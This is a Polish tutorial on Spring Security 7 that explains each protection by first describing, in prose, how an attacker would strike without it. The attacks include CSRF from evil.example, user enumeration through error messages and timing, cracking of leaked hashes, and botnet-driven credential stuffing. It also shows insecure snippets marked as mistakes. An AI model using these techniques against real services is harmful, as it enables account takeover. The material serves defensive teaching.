Jak czytać to kompendium
najpierw włamanie, potem zamekWiększość poradników o Spring Security zaczyna od konfiguracji: „dodaj tę adnotację, wpisz tę linijkę”. Tu robimy odwrotnie. Każdy rozdział zaczyna się od atakującego: czego chce, jakie żądania wysyła i co zobaczy, jeśli danej ochrony nie ma. Dopiero potem pokazujemy, który filtr, nagłówek albo token go zatrzymuje i dlaczego.
Każdy mechanizm ma interaktywny diagram. Zwykle znajdziesz w nim przełącznik 🛡️ ochrona ON/OFF i przycisk 🏴☠️ Atakuj. Najpierw wyłącz ochronę i zobacz, jak atak przechodzi. Potem ją włącz i zobacz, w którym miejscu się zatrzymuje. Przyciski „💥” celowo psują konfigurację tak, jak psują ją prawdziwe zespoły.
Kompendium ma trzy poziomy. Rozdziały i bloki mają znaczek — L1 podstawy, L2 praktyk, L3 ekspert. Głębokość wybierasz przełącznikiem w lewym dolnym rogu; głębszy materiał chowa się, dopóki go nie zechcesz. Mapa poniżej skacze do dowolnego rozdziału i odhacza przeczytane.
Fakty sprawdzone w październiku 2026 względem dokumentacji Spring Security 7.1 (aktualna wersja stabilna to 7.1.1), dokumentacji Spring Boot, OWASP Cheat Sheet Series oraz RFC 8725, RFC 9700 i RFC 7636. Przykłady konfiguracji używają składni Spring Security 7: lambda DSL, authorizeHttpRequests, PathPatternRequestMatcher.
Dodajesz do projektu spring-boot-starter-security, uruchamiasz aplikację i widzisz stronę logowania. Każdy endpoint wymaga hasła. Czy twoja aplikacja jest już bezpieczna? Zapisz odpowiedź. Wrócimy do niej na samym końcu.
Fundamenty
Co dostajesz za darmo, jak żądanie przechodzi przez łańcuch filtrów i gdzie Spring trzyma informację o tym, kim jesteś.
Co daje starter od razu (i czego nie daje)
jedna zależność, kilkanaście ochronSpring Boot ma prostą regułę: jeśli Spring Security jest na classpath, aplikacja webowa jest zabezpieczona domyślnie. Nie musisz pisać ani jednej linijki konfiguracji, żeby dostać całkiem sporo ochron.
Wyobraź sobie najpierw aplikację bez tej zależności. To zwykły serwer, który odpowiada każdemu na wszystko. Atakujący nie musi niczego łamać. Wysyła GET /api/orders i dostaje listę zamówień. Wkleja twoją stronę w niewidzialny <iframe> na swojej witrynie i podsuwa ofierze przycisk do kliknięcia. Wysyła formularz z evil.example, a przeglądarka ofiary dokleja do niego jej ciasteczko sesji.
- Skanuje typowe ścieżki:
/api/**,/actuator/**,/admin. Bez żadnej warstwy bezpieczeństwa każda z nich odpowiada200 OK. - Jeśli coś jednak wymaga logowania, próbuje przejąć sesję ofiary: podrzuca jej własny identyfikator sesji (session fixation) albo wykorzystuje jej ciasteczko w żądaniu z obcej strony (CSRF).
- Osadza aplikację w ramce na swojej stronie i nakłada na nią fałszywy przycisk (clickjacking).
- Wysyła dziwne URL-e (zakodowane ukośniki, średniki,
..), żeby ominąć reguły dostępu dopasowane do „ładnych” ścieżek.
Dokumentacja Spring Security wymienia, co dostajesz domyślnie w połączeniu ze Spring Boot. W skrócie:
| Ochrona domyślna | Przed czym chroni | Rozdział |
|---|---|---|
Każdy endpoint wymaga uwierzytelnionego użytkownika (także /error) | anonimowy dostęp do danych | Autoryzacja URL |
Domyślny użytkownik user z hasłem generowanym przy starcie | aplikacja nie startuje „otwarta” | ten rozdział |
| Logowanie formularzem i HTTP Basic, wylogowanie | brak mechanizmu logowania | Uwierzytelnianie |
Obsługa BCrypt (i innych algorytmów) przez DelegatingPasswordEncoder dla haseł, które zapisujesz | wyciek bazy z hasłami | Hasła |
| Ochrona przed CSRF | żądania z obcych stron z ciasteczkiem ofiary | CSRF |
| Ochrona przed session fixation | podrzucenie identyfikatora sesji | Sesje |
Nagłówki: Strict-Transport-Security, X-Content-Type-Options, Cache-Control, X-Frame-Options | downgrade do HTTP, sniffing typów, cache danych, clickjacking | Nagłówki |
| Publikowanie zdarzeń sukcesu i porażki uwierzytelnienia | brak śladu audytowego | Audyt |
Do tego FilterChainProxy zawsze stosuje HttpFirewall, który odrzuca podejrzane URL-e, i zawsze czyści SecurityContext po żądaniu. Obie rzeczy działają niezależnie od twojej konfiguracji.
Spójrz na dwie ostatnie sondy. Starter nie wie, że zamówienie nr 43 należy do kogoś innego. Nie wie też, że /admin powinien być tylko dla administratorów. Domyślna reguła brzmi „każdy zalogowany może wszystko”. Uprawnienia do konkretnych danych i ról musisz opisać sam. Tym zajmuje się Część III.
@Configuration
@EnableWebSecurity
class SecurityConfig {
@Bean
SecurityFilterChain app(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests((auth) -> auth
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated())
.formLogin(Customizer.withDefaults());
return http.build();
}
}
Gdy dodasz własny bean SecurityFilterChain, Spring Boot wycofuje swoją domyślną konfigurację webową (także dla Actuatora). Domyślny UserDetailsService z jednym użytkownikiem zostaje, dopóki nie dodasz własnego UserDetailsService, AuthenticationProvider albo AuthenticationManager.
Wygenerowane hasło jest drukowane w logu na poziomie WARN i według dokumentacji Spring Boot służy tylko do developmentu. Jeśli widzisz w produkcji linijkę Using generated security password, oznacza to, że nikt nie skonfigurował prawdziwego uwierzytelniania.
- Traktuj domyślną konfigurację jako punkt startowy. Zawsze dodawaj jawny
SecurityFilterChainz regułami „deny by default”. - Sprawdzaj w testach, że niezalogowany użytkownik dostaje 401/302 na każdym endpoincie, a nie tylko na tych, o których pamiętasz.
- Actuator jest chroniony tak samo jak reszta aplikacji. Nie otwieraj
/actuator/**hurtem przezpermitAll().
- Starter daje: wymóg logowania na każdym endpoincie, logowanie formularzem i Basic, BCrypt, CSRF, ochronę przed session fixation, nagłówki bezpieczeństwa i firewall URL-i.
- Starter nie daje: kontroli ról, sprawdzania właściciela danych, poprawnej konfiguracji CORS ani tokenów JWT.
- Własny
SecurityFilterChainwyłącza domyślną konfigurację webową Boota. Od tej chwili za reguły odpowiadasz ty.
Łańcuch filtrów: bramka za bramką
wygrywa pierwszy pasujący łańcuchSpring Security w aplikacjach servletowych to filtry. Każde żądanie HTTP, zanim dotrze do twojego kontrolera, przechodzi przez ciąg filtrów. Każdy filtr może przepuścić żądanie dalej albo je zatrzymać i od razu odpowiedzieć. Kolejność jest kluczowa: filtr wpływa tylko na filtry za nim i na servlet.
Kontener servletów (np. Tomcat) nie zna beanów Springa. Dlatego Spring rejestruje w kontenerze jeden filtr-most, DelegatingFilterProxy. Ten przekazuje pracę do beana FilterChainProxy. FilterChainProxy trzyma listę obiektów SecurityFilterChain i dla każdego żądania wybiera jeden łańcuch: pierwszy, którego matcher pasuje.
- Zespół ma dwa łańcuchy: ogólny dla
/api/**(„każdy zalogowany”) i specjalny dla/api/admin/**(„tylko ADMIN”). Ogólny dostał@Order(1). - Atakujący loguje się jako zwykły użytkownik i wysyła
GET /api/admin/users. FilterChainProxysprawdza łańcuchy po kolei./api/**pasuje pierwszy, więc łańcuch admina nigdy się nie uruchamia. Reguła „zalogowany” jest spełniona:200 OKi lista użytkowników.- Wariant drugi: wszystkie łańcuchy mają
securityMatcher, a nie ma łańcucha „na resztę”. Żądanie/actuator/envnie pasuje do żadnego. Dokumentacja mówi wprost: takie żądanie nie jest chronione przez Spring Security.
DisableEncodeUrlFilter, SecurityContextHolderFilter, HeaderWriterFilter, CsrfFilter, LogoutFilter, filtry uwierzytelniania, AnonymousAuthenticationFilter, ExceptionTranslationFilter, AuthorizationFilter i inne). Kod 403 dla /api/admin zakłada uwierzytelnionego użytkownika bez roli.Kolejność filtrów w jednym łańcuchu ustala Spring. Najpierw działa CsrfFilter, potem filtry uwierzytelniania (np. BasicAuthenticationFilter, UsernamePasswordAuthenticationFilter), a na końcu AuthorizationFilter, który decyduje o dostępie. Kolejność łańcuchów ustalasz ty, przez @Order. Łańcuch bez @Order jest sprawdzany na końcu.
@Bean @Order(1)
SecurityFilterChain adminApi(HttpSecurity http) throws Exception {
http.securityMatcher("/api/admin/**") // najwęższy łańcuch pierwszy
.authorizeHttpRequests((a) -> a.anyRequest().hasRole("ADMIN"))
.httpBasic(Customizer.withDefaults());
return http.build();
}
@Bean @Order(2)
SecurityFilterChain api(HttpSecurity http) throws Exception {
http.securityMatcher("/api/**")
.authorizeHttpRequests((a) -> a.anyRequest().authenticated())
.httpBasic(Customizer.withDefaults());
return http.build();
}
@Bean // bez @Order i bez securityMatcher: łapie wszystko inne
SecurityFilterChain web(HttpSecurity http) throws Exception {
http.authorizeHttpRequests((a) -> a.anyRequest().authenticated())
.formLogin(Customizer.withDefaults());
return http.build();
}
securityMatcher() od requestMatchers()?http.securityMatcher() decyduje, czy dany łańcuch w ogóle obsługuje żądanie. requestMatchers() wewnątrz authorizeHttpRequests decyduje, jaka reguła dostępu obowiązuje w tym łańcuchu. Jeśli łańcuch ma securityMatcher("/secured/**"), to nie obsłuży nawet /login, który leży poza tą ścieżką.logging.level.org.springframework.security=TRACE, a zobaczysz też wywołanie każdego filtra dla każdego żądania. Dokumentacja poleca też punkt przerwania w FilterChainProxy.🔬 Głębiej: DelegatingFilterProxy, leniwe beany i podwójna rejestracja filtra
DelegatingFilterProxy jest rejestrowany standardowym mechanizmem kontenera, ale całą pracę oddaje beanowi Springa. Dodatkowo pozwala opóźnić wyszukanie beana: kontener rejestruje filtry, zanim kontekst Springa się załaduje, a proxy szuka beana dopiero przy pierwszym użyciu.
FilterChainProxy robi rzeczy, których nie traktuje jako opcjonalnych: czyści SecurityContext, żeby uniknąć wycieków pamięci, i stosuje HttpFirewall. Dlatego dokumentacja poleca go jako miejsce na pierwszy punkt przerwania przy debugowaniu.
Pułapka z własnymi filtrami: jeśli oznaczysz swój filtr @Component, Spring Boot zarejestruje go także w kontenerze. Filtr wykona się wtedy dwa razy, raz przez kontener i raz przez Spring Security, i to w innej kolejności. Rozwiązanie: nie rób z filtra beana albo dodaj FilterRegistrationBean z setEnabled(false). Swój filtr wstawiasz przez addFilterAfter(new TenantFilter(), AnonymousAuthenticationFilter.class), czyli za ostatnim filtrem uwierzytelniania.
- Zawsze miej ostatni łańcuch bez
securityMatcher— dokumentacja to zaleca, żeby cała aplikacja była chroniona. - Najwęższe ścieżki dawaj najwyżej (
@Order(1)). Szerokie wzorce typu/api/**niżej. - Napisz test, który dla każdego łańcucha wysyła żądanie „z brzegu” wzorca i sprawdza, który łańcuch go obsłużył.
DelegatingFilterProxy→FilterChainProxy→ jeden wybranySecurityFilterChain.- Uruchamia się tylko pierwszy pasujący łańcuch. Kolejność ustala
@Order. - Żądanie, które nie pasuje do żadnego łańcucha, nie jest chronione przez Spring Security.
SecurityContext: kto jest w tym wątku?
ThreadLocal, sesja i zapomniany zapisPo udanym logowaniu Spring musi gdzieś zapamiętać, kim jesteś. Tym miejscem jest SecurityContextHolder. W środku leży SecurityContext, a w nim obiekt Authentication, który ma trzy ważne pola:
| Pole | Co to jest | Przykład |
|---|---|---|
principal | identyfikuje użytkownika | obiekt UserDetails po logowaniu hasłem |
credentials | zwykle hasło; często czyszczone po uwierzytelnieniu, żeby nie wyciekło | null po logowaniu |
authorities | uprawnienia wysokiego poziomu (role, scope'y) jako GrantedAuthority | ROLE_ADMIN, SCOPE_read |
Domyślnie SecurityContextHolder trzyma kontekst w ThreadLocal. Dzięki temu każda metoda w tym samym wątku widzi zalogowanego użytkownika bez przekazywania go w parametrach. FilterChainProxy czyści kontekst po każdym żądaniu, więc wątek z puli nie „pamięta” poprzedniego klienta.
Między żądaniami kontekst żyje w SecurityContextRepository. Domyślnie jest to DelegatingSecurityContextRepository, który zapisuje do sesji HTTP (HttpSessionSecurityContextRepository) i do atrybutu żądania (RequestAttributeSecurityContextRepository). Na początku każdego żądania SecurityContextHolderFilter wczytuje kontekst z repozytorium.
- Wyciek między użytkownikami. Ktoś zmienia strategię na
MODE_GLOBAL(przeznaczoną dla aplikacji desktopowych) w aplikacji webowej. Od tej pory wszystkie wątki dzielą jeden kontekst. Użytkownik B może wykonać operację jako użytkownik A. - Wyścig. Kod robi
SecurityContextHolder.getContext().setAuthentication(...)na współdzielonym obiekcie. Dokumentacja zaleca tworzyć nowy kontekst przezcreateEmptyContext(), żeby uniknąć wyścigów między wątkami. - Zgubiony użytkownik. Zadanie
@Asyncw innym wątku nie ma kontekstu i działa jako „nikt”. Jeśli kod w takim przypadku pomija sprawdzenia albo przyjmuje domyślnego użytkownika technicznego, operacja wykonuje się z innymi uprawnieniami niż zamierzałeś.
SecurityContextHolder, ale nie wywołuje securityContextRepository.saveContext(...).Drugi przełącznik pokazuje pułapkę z nowszych wersji Spring Security. SecurityContextHolderFilter tylko wczytuje kontekst; nie zapisuje go sam, jak robił to dawny SecurityContextPersistenceFilter. Jeśli piszesz własny endpoint logowania, musisz jawnie zapisać kontekst:
SecurityContext context = SecurityContextHolder.createEmptyContext(); // nowy, nie współdzielony
context.setAuthentication(authentication);
SecurityContextHolder.setContext(context);
securityContextRepository.saveContext(context, request, response); // bez tego: następne żądanie = anonim
🔬 Głębiej: strategie SecurityContextHolder i propagacja do innych wątków
| Strategia | Co robi | Kiedy |
|---|---|---|
MODE_THREADLOCAL | domyślna; kontekst per wątek | aplikacje webowe (servlet) |
MODE_INHERITABLETHREADLOCAL | wątki tworzone przez bezpieczny wątek dziedziczą jego kontekst | rzadko; przy pulach wątków dziedziczenie zachodzi przy tworzeniu wątku, a nie przy każdym zadaniu, więc łatwo o pomyłkę |
MODE_GLOBAL | jeden kontekst dla całej JVM | tylko samodzielne aplikacje (np. klient desktopowy) |
Bezpieczna propagacja do innych wątków to DelegatingSecurityContextRunnable (owija Runnable, ustawia kontekst przed zadaniem i czyści po nim) oraz DelegatingSecurityContextExecutor, który robi to samo dla każdego zadania wysłanego do executora. Tak ukrywasz Spring Security przed kodem biznesowym.
Uwaga do tabeli: zdanie o pulach wątków to nasza obserwacja z praktyki, a nie cytat z dokumentacji. Wynika z tego, że wątek z puli powstaje raz i potem obsługuje zadania wielu użytkowników.
- Nie zmieniaj strategii
SecurityContextHolderw aplikacjach webowych. Do zadań w tle używajDelegatingSecurityContextExecutoralbo przekazuj identyfikator użytkownika jawnie. - Zadania wsadowe i konsumenci kolejek działają bez użytkownika. Nadaj im własną tożsamość techniczną z minimalnymi uprawnieniami, zamiast wyłączać sprawdzenia.
- W kontrolerach bierz użytkownika przez
@AuthenticationPrincipal, a nie z parametru żądania.
SecurityContextHolder→SecurityContext→Authentication(principal, credentials, authorities).- Domyślnie
ThreadLocal;FilterChainProxyczyści go po każdym żądaniu. - Między żądaniami kontekst żyje w
SecurityContextRepository(domyślnie sesja + atrybut żądania). Własne logowanie musi go zapisać jawnie.
401 czy 403? ExceptionTranslationFilter
„kim jesteś?” kontra „nie wolno ci”Gdy AuthorizationFilter albo method security odmawia dostępu, rzuca wyjątek. Nie piszą odpowiedzi HTTP same. Odpowiedź tworzy ExceptionTranslationFilter, który stoi w łańcuchu przed AuthorizationFilter i łapie dwa typy wyjątków:
AuthenticationExceptionalbo odmowa dla niezalogowanego (także anonimowego) użytkownika → „zacznij uwierzytelnianie”: wyczyśćSecurityContextHolder, zapisz żądanie wRequestCache, wywołajAuthenticationEntryPoint. Ten przekierowuje na stronę logowania albo wysyła401z nagłówkiemWWW-Authenticate.AccessDeniedExceptiondla w pełni zalogowanego użytkownika (nie anonima ani zalogowanego przez remember-me) → „odmowa”:AccessDeniedHandler, zwykle403 Forbidden.
Rozróżnienie anonima i użytkownika z remember-me od w pełni zalogowanego robi AuthenticationTrustResolver. Bez niego anonim byłby traktowany jak zalogowany i dostawałby 403 zamiast szansy na logowanie.
/admin to hasRole("ADMIN"). Przy samym formLogin punktem wejścia jest zwykle LoginUrlAuthenticationEntryPoint; przy samym httpBasic — BasicAuthenticationEntryPoint. W domyślnej konfiguracji Spring Boot wybór między formularzem a HTTP Basic zależy od nagłówka Accept żądania.401 i 403 to także informacja dla atakującego. Odpowiedź błędu nie powinna zdradzać szczegółów (stack trace, nazwa brakującej roli, istnienie zasobu). Własny AccessDeniedHandler i AuthenticationEntryPoint zwracają krótki, jednolity komunikat. Szczegóły trafiają do logu, a nie do klienta.
http
.exceptionHandling((ex) -> ex
.authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.UNAUTHORIZED)) // API: 401 zamiast 302
.accessDeniedHandler((req, res, e) -> res.sendError(HttpServletResponse.SC_FORBIDDEN)));
Gdy anonim prosi o /admin, ExceptionTranslationFilter zapisuje to żądanie w RequestCache (domyślnie HttpSessionRequestCache). Po udanym logowaniu RequestCacheAwareFilter odtwarza oryginalne żądanie, więc użytkownik wraca tam, gdzie chciał wejść. Dokumentacja pokazuje, jak ograniczyć to sprawdzanie do żądań z parametrem continue (setMatchingRequestParameterName("continue")).
- Filtry autoryzacji rzucają wyjątki. Odpowiedź HTTP buduje
ExceptionTranslationFilter. - Niezalogowany lub anonim →
AuthenticationEntryPoint(302 na login albo 401). Zalogowany bez uprawnień →AccessDeniedHandler(403). - Dla API ustaw punkt wejścia zwracający 401, żeby klient REST nie dostawał przekierowania na stronę HTML.
Uwierzytelnianie — kim jesteś?
Hasła w bazie, droga hasła przez Springa, boty zgadujące loginy, sesje, ciasteczko „zapamiętaj mnie” i drugi składnik. Wszędzie zaczynamy od tego, jak atakujący podszywa się pod kogoś innego.
Przechowywanie haseł
baza kiedyś wycieknie, więc licz się z tym od początkuZagrożenie. Atakujący nie musi włamywać się przez formularz logowania. Wystarczy mu kopia tabeli users: z backupu na otwartym buckecie, z SQL injection w zapomnianym raporcie albo od nieuczciwego pracownika. Jeśli z tej kopii da się odczytać hasła, przejmuje konta u ciebie i (bo ludzie powtarzają hasła) w banku, poczcie i sklepie twoich użytkowników.
Celem nie jest więc „żeby baza nigdy nie wyciekła”. Celem jest to, żeby po wycieku odzyskanie haseł było za drogie, żeby się opłacało.
- Pobiera zrzut tabeli:
ala | lato2024,bob | 123456… Hasła zapisane czystym tekstem może od razu wpisać w formularz. - Jeśli zamiast haseł są hashe SHA-256 bez soli, sprawdza je w tablicy tęczowej, czyli gotowym słowniku „hash → hasło” policzonym wcześniej. Dwa identyczne hashe mówią mu też, że dwie osoby mają to samo hasło.
- Jeśli hashe są posolone, tablica nie pomoże, więc odpala GPU, które liczy miliardy SHA-256 na sekundę, i przechodzi słownik osobno dla każdego konta.
- Złamane pary
e-mail + hasłosprzedaje albo testuje na innych serwisach (to jest credential stuffing z rozdziału o brute force).
Jak działa ochrona. Hasło przechodzi przez funkcję jednokierunkową: z hasła łatwo policzyć hash, z hasha nie da się wrócić do hasła. Do tego dochodzi sól, czyli losowe bajty doklejane osobno dla każdego użytkownika, żeby identyczne hasła dawały różne hashe i żeby tablice tęczowe przestały działać.
Sama sól nie wystarcza, bo zwykły SHA-256 jest za szybki. Dlatego hasła przechowuje się adaptacyjną funkcją jednokierunkową: bcrypt, scrypt, Argon2 albo PBKDF2. Celowo zużywają dużo CPU lub pamięci i mają „work factor”, który podkręcasz razem z rozwojem sprzętu. Dokumentacja Springa radzi dobrać go tak, żeby sprawdzenie jednego hasła trwało u ciebie około sekundy.
Zwróć uwagę, co bcrypt zrobił, a czego nie: 123456 i qwerty padły i tak, bo są na samym początku każdego słownika. Wolny hash kupuje czas dla przeciętnych haseł. Na najsłabsze hasła pomaga dopiero blokada przy ich ustawianiu, czyli sprawdzenie, czy nie ma ich w znanych wyciekach (rozdział o brute force).
Konfiguracja w Spring Security 7
Nie wybierasz jednego algorytmu na zawsze. Spring daje DelegatingPasswordEncoder, który zapisuje hash w formacie {id}zakodowaneHasło. Prefiks mówi, którym enkoderem sprawdzić hasło, a nowe hasła zawsze koduje bieżącym domyślnym (idForEncode), czyli dziś bcrypt:
@Bean
PasswordEncoder passwordEncoder() {
// {bcrypt} dla nowych haseł, ale potrafi sprawdzić też {noop}, {pbkdf2}, {scrypt}, {argon2}...
return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}
// zapis w bazie wygląda tak:
// {bcrypt}$2a$10$dXJ3SW6G7P50lGmMkkmwe.20cQQubK3.HZWzG3YB1tlRy.fqvM/BG
// ❌ nie rób tego: szybki hash, brak soli, brak work factor
String hash = DigestUtils.sha256Hex(rawPassword);
Prefiks {bcrypt} nie jest tajemnicą, którą trzeba ukrywać. Bezpieczeństwo hasła nie opiera się na tym, że algorytm jest sekretny, a hash bcrypt i tak zdradza się początkiem $2a$.
PasswordEncoder ma metodę upgradeEncoding(encodedPassword). W DelegatingPasswordEncoder zwraca ona true, gdy {id} zapisanego hasła różni się od idForEncode albo gdy hash ma przestarzałe parametry (np. niższą siłę). DaoAuthenticationProvider korzysta z tego przy udanym logowaniu: jeśli masz bean UserDetailsPasswordService, koduje świeżo podane hasło na nowo i zapisuje nowy hash przez updatePassword. Stare hashe znikają więc same, w miarę jak użytkownicy się logują. Hashe bez prefiksu (z czasów przed Springiem) obsłużysz przez setDefaultPasswordEncoderForMatches(staryEnkoder). Bez tego dostaniesz IllegalArgumentException z komunikatem, że każde hasło musi mieć prefiks kodowania (np. {noop}) albo trzeba ustawić domyślny enkoder.
- Zmierz koszt bcrypt na produkcyjnym sprzęcie. Domyślny strength to 10. Za wysoki work factor przy szczycie logowań zamieni się w DoS twojego własnego serwisu.
- Wolny hash to koszt każdego sprawdzenia hasła. Nie wysyłaj loginu i hasła w każdym żądaniu: zaloguj raz i wymień je na sesję albo token.
- Dla użytkowników, którzy nie zalogują się przez miesiące, migracja w locie nie zadziała. Zaplanuj wymuszony reset albo hash-na-hashu dla martwych kont.
- Czysty tekst odpada od razu. Szybki hash bez soli łamią tablice tęczowe, z solą łamie go GPU.
- Używaj bcrypt, scrypt, Argon2 albo PBKDF2. Domyślnie Spring daje
DelegatingPasswordEncoderz{bcrypt}. - Format
{id}hashpozwala trzymać stare i nowe hashe obok siebie i migrować je przy logowaniu (upgradeEncoding). - Wolny hash nie uratuje hasła
123456. Do tego potrzebna jest osobna kontrola przy ustawianiu hasła.
Jak Spring sprawdza hasło
pięć klas, jedna odpowiedź: „Bad credentials”Zagrożenie. Zanim ktoś zacznie zgadywać hasła, chce wiedzieć, które loginy w ogóle istnieją. Lista prawdziwych kont (user enumeration) zmniejsza pracę o rzędy wielkości, a przy okazji zdradza, że prezes@firma.pl ma u ciebie konto. Wystarczy, że logowanie odpowiada inaczej dla „nie ma takiego użytkownika”, a inaczej dla „złe hasło”.
- Wysyła
POST /api/loginz loginemnikt123i dowolnym hasłem. Dostaje401 {"error":"User not found: nikt123"}. - Wysyła to samo dla
jan.kowalski. Dostaje401 {"error":"Bad credentials"}. Inny komunikat, więc konto istnieje. - Skryptem przepuszcza 100 tysięcy loginów z listy e-maili i zostawia tylko te z „Bad credentials”. Tę krótką listę atakuje potem słownikiem haseł.
- Gdy komunikaty są identyczne, porównuje czas odpowiedzi: jeśli dla nieistniejącego konta serwer nie liczy hasha, odpowiada wyraźnie szybciej.
Jak działa ochrona. Żądanie logowania przechodzi przez łańcuch obiektów, z których każdy ma jedno zadanie. Filtr (UsernamePasswordAuthenticationFilter dla formularza, BasicAuthenticationFilter dla HTTP Basic) wyciąga login i hasło do obiektu UsernamePasswordAuthenticationToken. Przekazuje go do AuthenticationManager, którego typową implementacją jest ProviderManager.
ProviderManager ma listę AuthenticationProvider-ów i pyta je po kolei. Login z hasłem obsługuje DaoAuthenticationProvider: przez UserDetailsService wczytuje użytkownika, a przez PasswordEncoder porównuje hasło. Gdy żaden provider nie obsługuje danego typu tokenu, leci ProviderNotFoundException.
Ochrona przed enumeracją siedzi w samym providerze. Domyślnie hideUserNotFoundExceptions ma wartość true, więc nieznany login i złe hasło kończą się tym samym BadCredentialsException. A gdy użytkownika nie ma, DaoAuthenticationProvider i tak porównuje podane hasło z atrapą hasha, żeby czas odpowiedzi wyglądał podobnie.
ProviderManager przełącz ochronę i wylicz loginy/api/login z własnym AuthenticationFailureHandler, który odsyła w JSON exception.getMessage(). Treść „User not found: …” pochodzi z przykładowego UserDetailsService. Czasy odpowiedzi są poglądowe.Konfiguracja w Spring Security 7
Zwykle nie piszesz żadnego providera. Wystarczy bean UserDetailsService i PasswordEncoder, a Spring Security złoży z nich DaoAuthenticationProvider:
@Bean
SecurityFilterChain security(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth.anyRequest().authenticated())
.formLogin(Customizer.withDefaults()) // POST /login, błąd → /login?error
.httpBasic(Customizer.withDefaults()); // 401 + WWW-Authenticate
return http.build();
}
@Bean
UserDetailsService users(UserRepository repo) {
return username -> repo.findByUsername(username)
.map(u -> User.withUsername(u.login()).password(u.hash()).roles("USER").build())
.orElseThrow(() -> new UsernameNotFoundException("not found"));
}
// ❌ psuje ochronę: nieznany login daje inny wyjątek niż złe hasło
provider.setHideUserNotFoundExceptions(false);
// ❌ i to samo, ręcznie: handler zwraca klientowi treść wyjątku
response.getWriter().write("{\"error\":\"" + exception.getMessage() + "\"}");
- Ten sam komunikat musi wyjść z każdej ścieżki: logowania, rejestracji (zamiast „ten e-mail jest już zajęty” — neutralne „wysłaliśmy link aktywacyjny na podany adres”) i resetu hasła („wysłaliśmy link, jeśli konto istnieje”). Enumeracja często przecieka także przez rejestrację i reset hasła, nie tylko przez logowanie.
- Kilka mechanizmów (formularz, JWT, LDAP) to kilka providerów w jednym
ProviderManager. Wspólne providery możesz przenieść doProviderManager-rodzica, z którego korzysta kilka łańcuchów filtrów. - Domyślnie
ProviderManagerczyści hasło z obiektuAuthenticationzwracanego po udanym logowaniu. Nie wyłączaj tego bez powodu, bo te obiekty trafiają do sesji i cache'y.
Komunikaty są identyczne, ale nieistniejące konto odpowiada w 2 ms, a istniejące w 90 ms. Co zdradza różnicę i czemu domyślny DaoAuthenticationProvider jej nie ma?
Odpowiedź
Różnicę robi koszt bcrypt: bez użytkownika nie ma czego porównywać. Spring porównuje wtedy podane hasło z hashem-atrapą, więc obie ścieżki płacą podobny koszt. Jeśli piszesz własny provider, musisz to zrobić sam.
- Filtr tworzy token →
ProviderManager→DaoAuthenticationProvider→UserDetailsService+PasswordEncoder. hideUserNotFoundExceptions = true(domyślnie): nieznany login i złe hasło dają ten samBadCredentialsException.- Atrapa hasha wyrównuje czas. Własny kod (handler, rejestracja, reset hasła) potrafi to wszystko zepsuć.
Brute force i credential stuffing
boty nie męczą się zgadywaniemZagrożenie. Atak „w lewo i w prawo” ma trzy odmiany. Brute force to wiele haseł na jedno konto. Password spraying to jedno popularne hasło na tysiące kont. Credential stuffing to pary login + hasło z wycieku innego serwisu, sprawdzane u ciebie. Ten ostatni jest najgroźniejszy, bo każda para jest „prawdziwa” i trafia tam, gdzie ktoś powtórzył hasło.
I uwaga, która zaskakuje: Spring Security nie ma wbudowanego limitu prób logowania ani blokady konta po N błędach. Daje klocki (zdarzenia logowania, flagę accountNonLocked, sprawdzanie wycieków, MFA), ale politykę limitów składasz sam albo stawiasz ją przed aplikacją.
- Kupuje „combolistę”: miliony par
e-mail:hasłoz cudzych wycieków. - Wynajmuje botnet albo pulę proxy, żeby każde żądanie szło z innego IP.
- Wysyła
POST /loginraz na konto. Prawie wszystkie kończą się/login?error, ale co kilkadziesiąt prób trafia na kogoś, kto użył tego samego hasła. - Udane logowania zapisuje i sprzedaje jako „sprawdzone konta”.
Jak działa ochrona. Żadna pojedyncza warstwa nie wystarcza. Limit prób (na bramce API albo we własnym kodzie, liczony per konto, a nie tylko per IP) spowalnia bota, ale botnet rozkłada próby. CompromisedPasswordChecker odrzuca hasło, które jest w znanych wyciekach, nawet jeśli pasuje. MFA sprawia, że samo hasło przestaje wystarczać.
Zauważ kolejność w kodzie Springa: CompromisedPasswordChecker działa dopiero po poprawnym porównaniu hasła, tuż przed utworzeniem udanego Authentication. Zamiast sesji leci CompromisedPasswordException, a ty decydujesz w AuthenticationFailureHandler, co dalej, na przykład przekierowujesz na /reset-password.
Konfiguracja w Spring Security 7
@Bean
CompromisedPasswordChecker compromisedPasswordChecker() {
return new HaveIBeenPwnedRestApiPasswordChecker(); // DaoAuthenticationProvider podchwyci bean sam
}
@Bean
SecurityFilterChain security(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth.anyRequest().authenticated())
.formLogin(login -> login.failureHandler((req, res, ex) -> {
if (ex instanceof CompromisedPasswordException) {
res.sendRedirect("/reset-password");
} else {
res.sendRedirect("/login?error");
}
}));
return http.build();
}
// Klocek do własnego limitu: zdarzenia logowania
@Component
class LoginAttempts {
@EventListener
void onFailure(AuthenticationFailureBadCredentialsEvent e) { /* licznik per konto, np. w Redisie */ }
@EventListener
void onSuccess(AuthenticationSuccessEvent e) { /* wyzeruj licznik */ }
}
Zdarzenia publikuje AuthenticationEventPublisher. W czystym Spring Security rejestrujesz DefaultAuthenticationEventPublisher jako bean. Domyślnie mapuje wyjątki na zdarzenia, a BadCredentialsException i UsernameNotFoundException dają to samo AuthenticationFailureBadCredentialsEvent. Mapowanie jest dokładne, więc własne podklasy wyjątków dopiszesz przez setAdditionalExceptionMappings. Konto zablokowane przez twój licznik oznaczasz w UserDetails.isAccountNonLocked(). Wtedy Spring rzuci LockedException.
- Licznik prób przypnij do konta, nie tylko do IP. To zalecenie OWASP, bo botnet ma tysiące adresów.
- Twarda blokada konta to prezent dla napastnika: zablokuje twoich klientów jednym skryptem (DoS). Lepiej sprawdzają się rosnące opóźnienia, CAPTCHA po kilku błędach i odblokowanie przez reset hasła.
- Have I Been Pwned to zewnętrzne API, więc to zależność w ścieżce logowania. Ustaw timeouty i zdecyduj, co robisz, gdy nie odpowiada.
- OWASP nazywa MFA najskuteczniejszą obroną przed atakami na hasła. W firmie zacznij od kont administratorów i operacji wrażliwych.
- Spring Security nie ma wbudowanego rate limitu ani lockoutu. Masz zdarzenia,
LockedExceptioni bramkę przed aplikacją. - Credential stuffing próbuje każde konto raz i z innego IP, więc licznik per IP go nie widzi.
